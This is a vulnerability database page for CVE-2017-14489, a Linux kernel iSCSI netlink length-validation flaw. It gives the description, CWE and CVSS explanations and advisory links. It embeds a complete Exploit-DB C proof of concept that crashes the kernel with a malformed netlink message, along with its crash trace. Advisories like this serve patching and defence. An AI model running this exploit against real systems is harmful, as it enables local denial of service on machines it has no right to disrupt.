CVE-2017-14489 : Detail

CVE-2017-14489

5.5
/
Medium
A03-Injection
0.04%V3
Local
2017-09-15
08h00 +00:00
2018-03-15
08h57 +00:00
CVE.org
NVD
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CVE Descriptions

The iscsi_if_rx function in drivers/scsi/scsi_transport_iscsi.c in the Linux kernel through 4.13.2 allows local users to cause a denial of service (panic) by leveraging incorrect length validation.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42932

Publication date : 2017-10-01 22h00 +00:00
Author : Wang Chenyu
EDB Verified : No

/* # Exploit Title: Linux Kernel<4.14.rc3 Local Denial of Service # Date: 2017-Oct-02 # Exploit Author: Wang Chenyu (Nanyang Technological University) # Version:Linux kernel 4-14-rc1 # Tested on:Ubuntu 16.04 desktop amd64 # CVE : CVE-2017-14489 # CVE description: This CVE is assigned to Wang Chunyu (Red Hat) and discovered by Syzkaller. Provided for legal security research and testing purposes ONLY. In this POC, skb_shinfo(SKB)->nr_frags was overwritten by ev->iferror = err (0xff) in the condition where nlh->nlmsg_len==0x10 and skb->len > nlh->nlmsg_len. POC: */ #include <sys/socket.h> #include <linux/netlink.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #define NETLINK_USER 31 #define MAX_PAYLOAD 1024 /* maximum payload size*/ struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; int sock_fd; struct msghdr msg; int main() { sock_fd=socket(PF_NETLINK, SOCK_RAW, NETLINK_ISCSI); if(sock_fd<0) return -1; memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); /* self pid */ bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; /* For Linux Kernel */ dest_addr.nl_groups = 0; /* unicast */ nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD)); nlh->nlmsg_len = 0xac; nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; strcpy(NLMSG_DATA(nlh), "ABCDEFGHabcdefghABCDEFGHabcdef ghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHab cdefghAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDD\x10"); iov.iov_base = (void *)nlh; iov.iov_len = 0xc0; msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending message to kernel\n"); sendmsg(sock_fd,&msg,0); printf("Waiting for message from kernel\n"); /* Read message from kernel */ recvmsg(sock_fd, &msg, 0); printf("Received message payload: %s\n", (char *)NLMSG_DATA(nlh)); close(sock_fd); } Crash info: [ 17.880629] BUG: unable to handle kernel NULL pointer dereference at 0000000000000028 [ 17.881586] IP: skb_release_data+0x77/0x110 [ 17.882093] PGD 7b02a067 P4D 7b02a067 PUD 7b02b067 PMD 0 [ 17.882743] Oops: 0002 [#1] SMP [ 17.883123] Modules linked in: [ 17.883493] CPU: 1 PID: 2687 Comm: test02 Not tainted 4.14.0-rc1+ #1 [ 17.884251] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 17.885350] task: ffff88007c5a1900 task.stack: ffffc90000e10000 [ 17.886058] RIP: 0010:skb_release_data+0x77/0x110 [ 17.886590] RSP: 0018:ffffc90000e13c08 EFLAGS: 00010202 [ 17.887213] RAX: 000000000000000d RBX: ffff88007bd50300 RCX: ffffffff820f96a0 [ 17.888059] RDX: 000000000000000c RSI: 0000000000000010 RDI: 000000000000000c [ 17.888893] RBP: ffffc90000e13c20 R08: ffffffff820f9860 R09: ffffc90000e13ad8 [ 17.889712] R10: ffffea0001ef5400 R11: ffff88007d001700 R12: 0000000000000000 [ 17.890349] R13: ffff88007be710c0 R14: 00000000000000c0 R15: 0000000000000000 [ 17.890977] FS: 00007f7614d4c700(0000) GS:ffff88007fd00000(0000) knlGS:0000000000000000 [ 17.891592] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 17.892054] CR2: 0000000000000028 CR3: 000000007b022000 CR4: 00000000000006e0 [ 17.892629] Call Trace: [ 17.892833] skb_release_all+0x1f/0x30 [ 17.893140] consume_skb+0x27/0x90 [ 17.893418] netlink_unicast+0x16a/0x210 [ 17.893735] netlink_sendmsg+0x2a3/0x390 [ 17.894050] sock_sendmsg+0x33/0x40 [ 17.894336] ___sys_sendmsg+0x29e/0x2b0 [ 17.894650] ? __wake_up_common_lock+0x7a/0x90 [ 17.895009] ? __wake_up+0xe/0x10 [ 17.895280] ? tty_write_unlock+0x2c/0x30 [ 17.895606] ? tty_ldisc_deref+0x11/0x20 [ 17.895925] ? n_tty_open+0xd0/0xd0 [ 17.896211] ? __vfs_write+0x23/0x130 [ 17.896512] __sys_sendmsg+0x40/0x70 [ 17.896805] ? __sys_sendmsg+0x40/0x70 [ 17.897133] SyS_sendmsg+0xd/0x20 [ 17.897408] entry_SYSCALL_64_fastpath+0x13/0x94 [ 17.897783] RIP: 0033:0x7f7614886320 [ 17.898186] RSP: 002b:00007fff6f17f9c8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e [ 17.898793] RAX: ffffffffffffffda RBX: 00007f7614b2e7a0 RCX: 00007f7614886320 [ 17.899368] RDX: 0000000000000000 RSI: 0000000000600fc0 RDI: 0000000000000003 [ 17.899943] RBP: 0000000000000053 R08: 00000000ffffffff R09: 0000000000000000 [ 17.900521] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000400b9e [ 17.901095] R13: 00007f7614d50000 R14: 0000000000000019 R15: 0000000000400b9e [ 17.901672] Code: 45 31 e4 41 80 7d 02 00 48 89 fb 74 32 49 63 c4 48 83 c0 03 48 c1 e0 04 49 8b 7c 05 00 48 8b 47 20 48 8d 50 ff a8 01 48 0f 45 fa <f0> ff 4f 1c 74 7a 41 0f b6 45 02 41 83 c4 01 44 39 e0 7f ce 49 [ 17.903190] RIP: skb_release_data+0x77/0x110 RSP: ffffc90000e13c08 [ 17.903689] CR2: 0000000000000028 [ 17.903980] ---[ end trace 2f1926fbc1d32679 ]--- Reference: [1] https://patchwork.kernel.org/patch/9923803/ [2] https://github.com/google/syzkaller

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 4.13.2

References

https://usn.ubuntu.com/3583-2/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.debian.org/security/2017/dsa-3981
Tags : vendor-advisory, x_refsource_DEBIAN
https://usn.ubuntu.com/3583-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/bid/101011
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42932/
Tags : exploit, x_refsource_EXPLOIT-DB